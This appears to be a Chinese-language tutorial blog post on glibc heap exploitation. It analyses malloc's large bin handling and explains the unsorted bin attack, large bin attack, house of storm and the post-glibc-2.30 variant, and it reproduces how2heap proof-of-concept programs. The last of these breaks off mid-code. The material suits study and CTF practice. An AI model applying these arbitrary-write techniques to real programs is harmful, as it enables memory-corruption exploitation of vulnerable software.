large bin attack

unsorted bin attack

在进入到large bin attack 前,先对已经在高版本失效的unsorted bin attack 进行缅怀一下。

利用前提是有UAF,修改 unsorted bin 中的FD字段为0,BK字段为 target addr - 0x10,然后malloc一个相同大小的chunk,即可在目标地址写入 unsorted bin 的地址,一般用来伪造堆头(制造出0x7f)、修改次数限制、上限信息、配合局部写等,十分好用。

在 glibc-2.27以上的版本都已失效,但是本文主角 large bin attack以及另一种攻击手法 tcache_unlink_attack 在高版本的利用中可以成为它的代替品。

下面最先介绍的 large bin attack 只适用于 glibc-2.30 以下的版本

large bin attack

large bin原理

size与index

在源码中,不在small bin 范围内的 chunk 归类到 large bin 里,small bin 的源码:

1
2
3
4
5
6
7
#define in_smallbin_range(sz)  \
((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)

#define NSMALLBINS 64
#define SMALLBIN_WIDTH MALLOC_ALIGNMENT //64位中:MALLOC_ALIGNMENT=0x10
#define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > 2 * SIZE_SZ)
#define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)

根据最后一个宏定义可知:在64位的系统里面大于MIN_LARGE_SIZE64*0x100x400的chunk为largebin**

largebin中不再是一个 index 对应一个大小的size,而是存储等差数列变化的chunk,源码如下:

1
2
3
4
5
6
7
#define largebin_index_64(sz)                                                \
(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)

如果把0x400的chunk代入其中,其对应的index为 48+(0x400>>6)即为64。具体index对应的size如下表:

size index
[0x400 , 0x440) 64
[0x440 , 0x480) 65
[0x480 , 0x4C0) 66
[0x4C0 , 0x500) 67
[0x500 , 0x540) 68
等差 0x40
[0xC00 , 0xC40) 96
[0xC40 , 0xE00) 97
[0xE00 , 0x1000) 98
[0x1000 , 0x1200) 99
[0x1200 , 0x1400) 100
[0x1400 , 0x1600) 101
等差 0x200
[0x2800 , 0x2A00) 111
[0x2A00 , 0x3000) 112
[0x3000 , 0x4000) 113
[0x4000 , 0x5000) 114
等差 0x1000
[0x9000 , 0xA000) 119
[0xA000 , 0x10000) 120
[0x10000 , 0x18000) 121
[0x18000 , 0x20000) 122
[0x20000 , 0x28000) 123
[0x28000 , 0x40000) 124
[0x40000 , 0x80000) 125
[0x80000 , …. ) 126

链表维护方式

不同大小的large chunk:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include<stdio.h>
#include<stdlib.h>

int main()
{
char *gap;

char *ptr0=malloc(0x440-0x10); //A
gap=malloc(0x10);
char *ptr1=malloc(0x450-0x10); //B
gap=malloc(0x10);
char *ptr2=malloc(0x460-0x10); //C
gap=malloc(0x10);
char *ptr3=malloc(0x470-0x10); //D
gap=malloc(0x10);


free(ptr2);
free(ptr3);
free(ptr0);
free(ptr1);

gap = malloc(0x480); //trigger that sort largebin from unsorted bin to largebins

return 0;
}

image-20220301201027678

image-20220301201049004

可以看见,即使free的顺序是打乱的,但是最终进入到large bin 中,无论是从fd看还是fd_nextsize看,都是从大到小的顺序排序。

相同大小的large chunk:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include<stdio.h>
#include<stdlib.h>

int main()
{
char *gap;

char *ptr0=malloc(0x440-0x10); //A
gap=malloc(0x10);
char *ptr1=malloc(0x440-0x10); //B
gap=malloc(0x10);
char *ptr2=malloc(0x440-0x10); //C
gap=malloc(0x10);
char *ptr3=malloc(0x440-0x10); //D
gap=malloc(0x10);


free(ptr2);
free(ptr3);
free(ptr0);
free(ptr1);

gap = malloc(0x480); //trigger that sort largebin from unsorted bin to largebins

return 0;
}

image-20220301201438370

image-20220301202717282

先释放的堆块C为堆头,由于不存在比它大或比它小的堆块,因此它的fd_nextsizebk_nextsize都是指向自己。其余释放的堆块按释放的顺序,逆序排列在链表中,且它们的fd_nextsizebk_nextsize均为0,它们通过fdbk进行链接

既存在相同大小,又存在不同大小的堆块:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include<stdio.h>
#include<stdlib.h>

int main()
{
char *gap;

char *ptr0=malloc(0x440-0x10); //A
gap=malloc(0x10);
char *ptr1=malloc(0x450-0x10); //B
gap=malloc(0x10);
char *ptr2=malloc(0x460-0x10); //C
gap=malloc(0x10);
char *ptr3=malloc(0x470-0x10); //D
gap=malloc(0x10);
char *ptr4=malloc(0x440-0x10); //E
gap=malloc(0x10);
char *ptr5=malloc(0x450-0x10); //F
gap=malloc(0x10);
char *ptr6=malloc(0x460-0x10); //G
gap=malloc(0x10);
char *ptr7=malloc(0x470-0x10); //H
gap=malloc(0x10);

free(ptr2); //C
free(ptr3); //D
free(ptr0); //A
free(ptr1); //B
free(ptr7); //H
free(ptr6); //G
free(ptr5); //F
free(ptr4); //E
gap = malloc(0x480); //trigger that sort largebin from unsorted bin to largebins

return 0;
}

image-20220301204056436

image-20220301210420441

image-20220301210435991

可以看到不同的size会形成堆头,通过堆头的fd_nextsizebk_nextsize指向比它小或大的堆头,按照从大到小的顺序,而相同的堆块则会链入到相应的堆头之中。而fdbk在不同size的堆块间也是指向比它小或大的堆块,也是按照从大到小的顺序,而在相同size的堆块内则是按照先释放的在链表后面的排序,最终指向main_arena的一个地址,把所有 large chunk 串起来。

所以large bin 链表维护:

  • 堆块从大到小排序。
  • 对于相同大小的堆块,最先释放的堆块会成为堆头,其fd_nextsizebk_nextsize会被赋值,其余的堆块释放后都会插入到该堆头结点的下一个结点,通过fdbk链接,形成了先释放的在链表后面的排序方式,但是后释放的堆块的fd_nextsizebk_nextsize都为0。
  • 不同大小的堆块通过堆头串联,即堆头中fd_nextsize指向比它小的堆块的堆头,bk_nextsize指向比它大的堆块的堆头,从而形成了第一点中的从大到小排序堆块的方式。同时最大的堆块的堆头的bk_nextsize指向最小的堆块的堆头,最小堆块的堆头的fd_nextsize指向最大堆块的堆头,以此形成循环双链表。

接下来看看源码中如何实现 large chunk 从 unsorted bin 中取下来放入到 large bin 的过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
/* place chunk in bin */

if (in_smallbin_range (size))
{
... // chunk为smallbin,放入到smallbin中
}
else
{
victim_index = largebin_index (size);//第一步,获取当前要插入的chunk对应的index
bck = bin_at (av, victim_index); //当前index对应的main_arena,bck->bk才是最小的chunk
fwd = bck->fd; //当前index中最大的chunk

/* maintain large bins in sorted order */
if (fwd != bck)
{ // 该chunk对应的largebin index中不为空
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
if ((unsigned long) (size) < (unsigned long) (bck->bk->size)) //第三步,如果要插入的chunk的size小于当前index中最小chunk的大小,则直接插入到最后面。
{
fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert ((fwd->size & NON_MAIN_ARENA) == 0);
while ((unsigned long) size < fwd->size) //第四步,如果插入的chunk不为最小,则通过`fd_nextsize`从大到小遍历chunk,找到小于等于要插入chunk的位置
{
fwd = fwd->fd_nextsize;
assert ((fwd->size & NON_MAIN_ARENA) == 0);
}

if ((unsigned long) size == (unsigned long) fwd->size)
/* Always insert in the second position. */
fwd = fwd->fd; //第五步,如果存在堆头,则插入到堆头的下一个节点
else
{ //第六步,否则这个chunk将会成为堆头,`bk_nextsize`和`fd_nextsize`将被置位
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else //第二步,chunk对应的largebin index中为空
victim->fd_nextsize = victim->bk_nextsize = victim;
}

mark_bin (av, victim_index);
//设置fd与bk,完成插入
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
...
}

上述源码分析总结为:

  1. 找到当前要插入的chunk对应的largebin的index,并定位该index中的最小的chunkbck和最大的chunkfwd
  2. 如果fwd等于bck,表明当前链表为空(因为fd,bk将会链接到main_arena上,所以一旦存在堆块,则必然不相等),则直接将该chunk插入,并设置该chunk为该大小堆块的堆头,将bk_nextsizefd_nextsize赋值为它本身。
  3. 如果fwd不等于bck,表明当前链表已经存在chunk,要做的就是找到当前chunk对应的位置将其插入。首先判断其大小是否小于最小chunk的size,(size) < (bck->bk->size),如果小于则说明该chunk为当前链表中最小的chunk,即插入位置在链表末尾,无需遍历链表,直接插入到链表的末尾,且该chunk没有对应的堆头,设置该chunk为相应堆大小堆的堆头,将bk_nextsize指向比它大的堆头,fd_nextsize指向双链表的第一个节点即最大的堆头。
  4. 如果当前chunk的size不是最小的chunk,则从双链表的第一个节点即最大的chunk的堆头开始遍历,通过fd_nextsize进行遍历,由于fd_nextsize指向的是比当前堆头小的堆头,因此可以加快遍历速度。直到找到小于等于要插入的chunk的size。
  5. 如果找到的chunk的size等于要插入chunk的size,则说明当前要插入的chunk的size已经存在堆头,那么只需将该chunk插入到堆头的下一个节点。
  6. 如果找到的chunk的size小于当前要插入chunk的size,则说明当前插入的chunk不存在堆头,因此该chunk会成为堆头插入到该位置,设置fd_nextsizebk_nextsize

然后分析large bin 被申请分配时的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
/*
If a large request, scan through the chunks of current bin in
sorted order to find smallest that fits. Use the skip list for this.
*/
if (!in_smallbin_range (nb))
{
bin = bin_at (av, idx); //找到申请的size对应的largebin链表

/* skip scan if empty or largest chunk is too small */
if ((victim = first (bin)) != bin &&
(unsigned long) (victim->size) >= (unsigned long) (nb)) //第一步,判断链表的第一个结点,即最大的chunk是否大于要申请的size
{
victim = victim->bk_nextsize;
while (((unsigned long) (size = chunksize (victim)) <
(unsigned long) (nb))) //第二步,从最小的chunk开始,反向遍历 chunk size链表,直到找到第一个大于等于所需chunk大小的chunk退出循环
victim = victim->bk_nextsize;

/* Avoid removing the first entry for a size so that the skip
list does not have to be rerouted. */
if (victim != last (bin) && victim->size == victim->fd->size) //第三步,申请的chunk对应的chunk存在多个结点,则申请相应堆头的下个结点,不申请堆头。
victim = victim->fd;

remainder_size = size - nb;
unlink (av, victim, bck, fwd); //第四步,largebin unlink 操作

/* Exhaust */
if (remainder_size < MINSIZE) //第五步,如果剩余的空间小于MINSIZE,则将该空间直接给用户
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
}
/* Split */
else
{
remainder = chunk_at_offset (victim, nb); //第六步,如果当前剩余空间还可以构成chunk,则将剩余的空间放入到unsorted bin中。
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks (av);
fwd = bck->fd;
if (__glibc_unlikely (fwd->bk != bck))
{
errstr = "malloc(): corrupted unsorted chunks";
goto errout;
}
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
}
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

上述源码分析总结为:

  1. 找到当前要申请的空间对应的largebin链表,判断第一个结点即最大结点的大小是否大于要申请的空间,如果小于则说明largebin中没有合适的堆块,需采用其他分配方式。
  2. 如果当前largebin中存在合适的堆块,则从最小堆块开始,通过bk_nextsize反向遍历链表,找到大于等于当前申请空间的结点。
  3. 为减少操作,判断找到的相应结点(堆头)的下个结点是否是相同大小的堆块,如果是的话,将目标设置为该堆头的第二个结点,以此减少将fd_nextsizebk_nextsize赋值的操作。
  4. 调用unlink将目标largebin chunk从双链表中取下。
  5. 判断剩余空间是否小于MINSIZE,如果小于直接返回给用户。
  6. 否则将剩余的空间构成新的chunk放入到unsorted bin中。

最后看 unlink 源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
if (__builtin_expect (chunksize(P) != (next_chunk(P))->prev_size, 0)) \
malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV); \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (P->size) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}

从源码中可以看到,就是多了fd_nextsizebk_nextsize两个位置的检查,原理和fdbk的检查一致。需要注意的是对于存在多个满足空间的堆块来说,申请出来的是堆头的下一个结点,它的fd_nextsizebk_nextsize为空,不满足条件__builtin_expect (P->fd_nextsize != NULL, 0),因此只会像smallbin的unlink一样检查fdbk,而不会对fd_nextsizebk_nextsize进行检查与操作。

attack

largebin attack是在largebin双链表的插入与取下的过程中出现问题,导致可以被申请出非预期内存的情形,方式大致有两种:

  • 在申请 large bin 的过程中,伪造largebin的bk_nextsize,实现非预期内存申请。
  • 在 large bin 插入的过程中,伪造largebin的bk_nextsize以及bk,实现任意地址写堆地址。

伪造 bk_nextsize

原理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if ((victim = first (bin)) != bin &&
(unsigned long) (victim->size) >= (unsigned long) (nb)) //判断链表的第一个结点,即最大的chunk是否大于要申请的size
{
victim = victim->bk_nextsize;
while (((unsigned long) (size = chunksize (victim)) <
(unsigned long) (nb))) //从最小的chunk开始,反向遍历 chunk size链表,直到找到第一个大于等于所需chunk大小的chunk退出循环
victim = victim->bk_nextsize; //漏洞点,伪造bk_nextsize

if (victim != last (bin) && victim->size == victim->fd->size) //申请的chunk对应的chunk存在多个结点,则申请相应堆头的下个结点,不申请堆头。
victim = victim->fd;

remainder_size = size - nb;
unlink (av, victim, bck, fwd); //largebin unlink 操作

...
return p;

此利用方式是在申请largebin的过程中出现。回到申请largebin的源码中去看,它先判断当前双链表中存在满足申请需求的堆块(判断第一个堆块的大小),然后通过bk_nextsize反向遍历双链表找到第一个大于申请需求的堆块,申请该堆头对应的堆块。

问题出现在通过bk_nextsize反向遍历双链表的过程,如果能够伪造某个堆头结点中的bk_nextsize,将其指向非预期的内存地址,构造好数据使得非预期内存地址在通过unlink的检查之后,会将该空间返回给用户,最终使得可以申请出非预期的内存。最常见的就是用来构造overlap chunk。

典型应用场景:存在四个堆ABCD,largebin中存在链表A->B,其中A为0x420,B为0x400,C为0x410,C未释放。将B的bk_nextsize伪造指向C,同时将C的fdbk构造好,将C的fd_nextsizebk_nextsize赋值为0,当申请0x410大小的内存E时,遍历B->bk_nextsize会指向C,且C的大小满足需求,因此会调用unlink将C从双链表取下,因此申请出来的堆块E的地址会为C的地址,即E和C为同一内存块,实现overlap chunk的构造。

所以需要的利用条件为:

  • 释放堆块存在UAF,能伪造 bk_nextsize
  • 存在一块可控内存,其 size 要满足申请要求;同时伪造其 fd、bk 指针绕过unlink,其余清零即可

伪造 bk_nextsize 、 bk

原理:

此利用方式是在将 unsorted bin 中的 chunk 取下,插入到largebin中出现的。回到largebin形成的代码中,关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

...//将largebin从unsorted bin中取下
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

...

victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize; //由于fwd->bk_nextsize可控,因此victim->bk_nextsize可控
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim; //victim->bk_nextsize可控,因此实现了往任意地址写victim的能力
}
bck = fwd->bk; //由于fwd->bk可控,因此bck可控
...

mark_bin (av, victim_index);
//设置fd与bk完成插入
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim; //bck可控,因此实现了往任意地址写victim的能力
...
}

该攻击方式可实现两次往任意的地址写堆地址的能力,设任意地址为evil_addr,问题出现在当前的largebin插入为堆头的过程,在此过程中假设我们可控 largebin 中的bk_nextsizebk

一次是:控制fwd->bk_nextsize指向evil_addr-0x20。执行完victim->bk_nextsize = fwd->bk_nextsize后,victim->bk_nextsize也为evil_addr-0x20,接着执行victim->bk_nextsize->fd_nextsize = victim即实现了往evil_addr-0x20->fd_nextsize写victim,即往evil_addr写victim地址。关键两行代码如下:

1
2
3
victim->bk_nextsize = fwd->bk_nextsize; //由于fwd->bk_nextsize可控,因此victim->bk_nextsize可控
...
victim->bk_nextsize->fd_nextsize = victim; //victim->bk_nextsize可控,因此实现了往任意地址写victim的能力

另一次是:控制fwd->bk指向evil_addr-0x10,执行完bck = fwd->bk后,bckevil_addr-0x10,接着执行bck->fd = victim即往evil_addr-0x10->fd写victim,即往evil_addr写victim地址。关键两行代码如下:

1
2
3
bck = fwd->bk; //由于fwd->bk可控,因此bck可控
...
bck->fd = victim; //bck可控,因此实现了往任意地址写victim的能力

这样利用伪造在largebin中的bk_nextsizebk,我们获得了两次往任意地址写入堆地址的能力。

一个比较好的目标是写global_max_fast,使得可以将其覆盖成很大的值

利用条件:

  • 具有UAF,修改 large bin chunk 的 bk、bk_nextsize
  • 被修改的 large bin chunk 的 size 要小于从 unsorted bin 取下放入 large bin 的 chunk 的 size
  • 从 unsorted bin 取下放入 large bin 的 chunk 要能成为堆头

可根据下面来自how2heap的poc进行手动学习

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
/*

This technique is taken from
https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/

[...]

else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;

[...]

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

For more details on how large-bins are handled and sorted by ptmalloc,
please check the Background section in the aforementioned link.

[...]

*/

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

int main()
{
setbuf(stdout, NULL);

printf("This file demonstrates large bin attack by writing a large unsigned long value into stack\n");
printf("In practice, large bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");

unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;

printf("Let's first look at the targets we want to rewrite on stack:\n");
printf("stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
printf("stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

unsigned long *p1 = malloc(0x420);
printf("Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);

printf("And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the first large chunk during the free()\n\n");
malloc(0x20);

unsigned long *p2 = malloc(0x500);
printf("Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);

printf("And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the second large chunk during the free()\n\n");
malloc(0x20);

unsigned long *p3 = malloc(0x500);
printf("Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2);

printf("And allocate another fastbin chunk in order to avoid consolidating the top chunk with"
" the third large chunk during the free()\n\n");
malloc(0x20);

free(p1);
free(p2);
printf("We free the first and second large chunks now and they will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));

malloc(0x90);
printf("Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"
" freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation"
", and reinsert the remaining of the freed first large chunk into the unsorted bin:"
" [ %p ]\n\n", (void *)((char *)p1 + 0x90));

free(p3);
printf("Now, we free the third large chunk and it will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));

//------------VULNERABILITY-----------

printf("Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\""
" as well as its \"bk\" and \"bk_nextsize\" pointers\n");
printf("Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk"
" at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and"
" \"bk_nextsize\" to 32 bytes before stack_var2\n\n");

p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);

//------------------------------------

malloc(0x90);

printf("Let's malloc again, so the freed third large chunk being inserted into the large bin freelist."
" During this time, targets should have already been rewritten:\n");

printf("stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
printf("stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

// sanity check
assert(stack_var1 != 0);
assert(stack_var2 != 0);

return 0;
}

house of storm

glibc-2.27~glibc-2.29

house-of-storm,利用伪造在largebin中的bk_nextsize、bk获得任意地址写入堆地址与unsorted bin attack的结合可以使得该利用方法变成任意可以内存申请的攻击方式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
A=malloc(0x400-0x10) //A
malloc(0x10) //gap
B=malloc(0x420-0x10) //B
malloc(0x10) //gap

free(A) //free A into unsorted bin.
malloc(0x500) //sort A into largebin.
free(B) //free B into unsorted bin.

A+0x18=evil_addr-0x20+8-5 //A->bk_nextsize=evil_addr-0x20+8-5.
A+0x8=evil_addr+8 //A->bk=evil_addr+8.

B+0x8=evil_addr //B->bk=evil_addr

malloc(0x48) //evil_addr are malloced out here.

攻击代码场景如上所示,设我们想要申请的内存地址(如__free_hook)为evil_addr。攻击之前我们在largebin中布置一个堆块A,在unsorted bin中布置一个堆块B,其中B的size大于A的size,这样在插入到largebin时才会触发相应代码。

如上所示,我们将A的bk_nextsize改成了evil_addr-0x20+8-5,将A的bk改成了evil_addr+8,且将B的bk改成了evil_addr

当执行malloc(0x48)时,程序会遍历 unsorted bin 并将 unsorted bin 中的 chunk 取下插入到相应的块中,首先将B取下,此时unsorted bin attack触发,B的bk指向evil_addr,将B从unsorted bin中取下之后,unsorted bin的bk指向了evil_addr

1
2
3
4
bck = victim->bk; //伪造该bk指向`evil_addr`
...
unsorted_chunks (av)->bk = bck; //unsorted -> bk指向evil_addr
bck->fd = unsorted_chunks (av);

接着就是把B插入到相应的largebin 链表中,在开启PIE的程序中,堆地址一般为0x56或0x55开头。因此我们可以利用一次写堆地址的能力往evil_addr+0x8-5的地址写堆的地址,使得该地址的size位为0x55或0x56。接着利用另一次写堆地址的能力往evil_addr+0x18的地址写堆的地址,使得该地址的bk位为堆地址,形成了如下的chunk:

1
2
3
4
5
6
7
8
9
heap &__free_hook
$1={
prev_size = xxxxxxxxxx,
size = 0x56,
fd = 0x7fxxxxxxxxxxxx,
bk = 0x56xxxxxxxxxxxx,
fd_nextsize = 0,
bk_nextsize = 0
}

再次调用for循环取下unsorted bin时,就会取出evil_addr,且此时的evil_addr->bk为堆地址,因此可以绕过bck->fd = unsorted_chunks (av)限制,而evil_addr的大小刚好为0x560x55,为0x48所对应的size,所以就会被申请出来,实现了任意可写地址申请。

house of storm 是一个任意可写地址申请漏洞。利用largebin两次写堆地址伪造出来了一个堆块,同时利用unsorted bin attack将该伪造的堆块链接到 unsorted bin 中,实现任意地址申请,非常的巧妙。

高版本的利用

从glibc-2.30开始,加入了两个检查,让之前的 large bin attack 发生了一些变化(似乎仅仅只是第二种方法发生了变化)。

1
2
3
4
5
6
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");

bck = fwd->bk;
if (bck->fd != fwd));
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");

之前只是伪造了bk_nextsize,那么肯定是无法满足fwd->bk_nextsize->fd_nextsize == fwd;同理,也只是伪造了bk,也无法满足bck->fd == fwd。

分析利用源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
static void *
_int_malloc (mstate av, size_t bytes) {
...
//① 遍历unsorted bin,依次取出放入对应的位置
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) {
...
//② 注意main_area->last_remainder,不然直接split了
...
if (in_smallbin_range (size)) {
...
}
else {
/* maintain large bins in sorted order */
if (fwd != bck) {
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
//③ 需要走到这个分支,另一个分支已经有double link检查了,无法利用
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk)) {
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
//④ 利用的关键两行代码 fwd->fd指向的是可控的内存
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
...
}
...
}
}
}

...
}

当unsorted bin的一个chunk进入large bin时,large bin 的链表就尝试加入这个bin
于是就有:

1
2
3
victim->bk_nextsize = fwd->fd->bk_nextsize

fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;

其中 fwd->fd 的 chunk 是攻击者控制的,将 fwd->fd->bk_nextsize 设成 targetAddr - 0x20。

下面是how2heap的poc。可以增加理解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

/*

A revisit to large bin attack for after glibc2.30

Relevant code snippet :

if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}


*/

int main(){
/*Disable IO buffering to prevent stream from interfering with heap*/
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);

printf("\n\n");
printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertion\n\n");
printf("Check 1 : \n");
printf("> if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n");
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n");
printf("Check 2 : \n");
printf("> if (bck->fd != fwd)\n");
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n");
printf("This prevents the traditional large bin attack\n");
printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \n\n");

printf("====================================================================\n\n");

size_t target = 0;
printf("Here is the target we want to overwrite (%p) : %lu\n\n",&target,target);
size_t *p1 = malloc(0x428);
printf("First, we allocate a large chunk [p1] (%p)\n",p1-2);
size_t *g1 = malloc(0x18);
printf("And another chunk to prevent consolidate\n");

printf("\n");

size_t *p2 = malloc(0x418);
printf("We also allocate a second large chunk [p2] (%p).\n",p2-2);
printf("This chunk should be smaller than [p1] and belong to the same large bin.\n");
size_t *g2 = malloc(0x18);
printf("Once again, allocate a guard chunk to prevent consolidate\n");

printf("\n");

free(p1);
printf("Free the larger of the two --> [p1] (%p)\n",p1-2);
size_t *g3 = malloc(0x438);
printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");

printf("\n");

free(p2);
